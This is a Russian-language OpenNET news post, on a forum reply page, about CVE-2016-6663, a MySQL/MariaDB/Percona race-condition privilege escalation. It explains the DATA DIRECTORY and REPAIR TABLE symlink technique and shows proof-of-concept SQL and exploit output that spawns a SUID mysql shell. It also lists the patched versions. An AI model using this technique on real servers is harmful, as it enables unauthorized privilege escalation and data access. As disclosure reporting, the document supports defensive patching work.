The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Индекс форумов
Составление сообщения

Исходное сообщение
"Уязвимость в MySQL, позволяющая поднять свои привилегии"
Отправлено opennews, 02-Ноя-16 10:01 
Давид Голански (Dawid Golunski) продолжил публикацию  исследований безопасности MySQL. В сентябре им были опубликованы (https://www.opennet.ru/opennews/art.shtml?num=45127) сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root. Техника атаки была ограничена пользователями  с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл (http://legalhackers.com/advisories/MySQL-MariaDB-PerconaDB-P...) информацию о новой уязвимости (CVE-2016-6663 (https://security-tracker.debian.org/tracker/CVE-2016-6663)), позволяющей обойти систему ограничения привилегий MySQL.

Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной (https://www.opennet.ru/opennews/art.shtml?num=45127) уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL.


Уязвимость основана на использовании состояния гонки с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы будут размещены под пользователем mysql:

   attacker@debian:~$ ls -ld /tmp/disktable/
   drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

   mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

   attacker@debian:~$ ls -l /tmp/disktable/
   -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD


В процессе выполнения команды  "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом  выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. Далее к ссылке на  /var/lib/mysql будет применена операция chmod() с сохранёнными параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установить на файл права 777.


   attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb

   [+] Starting the exploit as:
   uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

   [+] Connecting to the database `pocdb` as attacker@localhost

   [+] Creating exploit temp directory /tmp/mysql_privesc_exploit

   [+] Creating mysql tables

   DROP TABLE IF EXISTS exploit_table
   DROP TABLE IF EXISTS mysql_suid_shell
   CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
   CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'

   [+] Copying bash into the mysql_suid_shell table.
       After the exploitation the following file/table will be assigned SUID and executable bits :
   -rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Entering the race loop... Hang in there...


   [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:

   -rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Spawning the mysql SUID shell now...
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

   mysql_suid_shell.MYD-4.3$ whoami
   mysql

   mysql_suid_shell.MYD-4.3$ id
   uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

   mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
   -rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
   -rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
   -rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI

Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52,  10.1.18 и 10.0.28, в Percona Server
5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17,  5.7.14-26.17 и  5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian (https://security-tracker.debian.org/tracker/CVE-2016-6663), RHEL (https://bugzilla.redhat.com/show_bug.cgi?id=1378936#c4), Ubuntu (https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2...), FreeBSD (http://www.vuxml.org/freebsd/9bc14850-a070-11e6-a881-b499bae...), Ubuntu (https://www.ubuntu.com/usn/usn-3109-1/) и SUSE (https://www.suse.com/support/update/announcement/2016/suse-s...).

URL: http://seclists.org/fulldisclosure/2016/Nov/4
Новость: http://www.opennet.ru/opennews/art.shtml?num=45413

 

Ваше сообщение
Имя*:
EMail:
Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email).
Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:
 
При общении не допускается: неуважительное отношение к собеседнику, хамство, унизительное обращение, ненормативная лексика, переход на личности, агрессивное поведение, обесценивание собеседника, провоцирование флейма голословными и заведомо ложными заявлениями. Не отвечайте на сообщения, явно нарушающие правила - удаляются не только сами нарушения, но и все ответы на них. Лог модерирования.



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру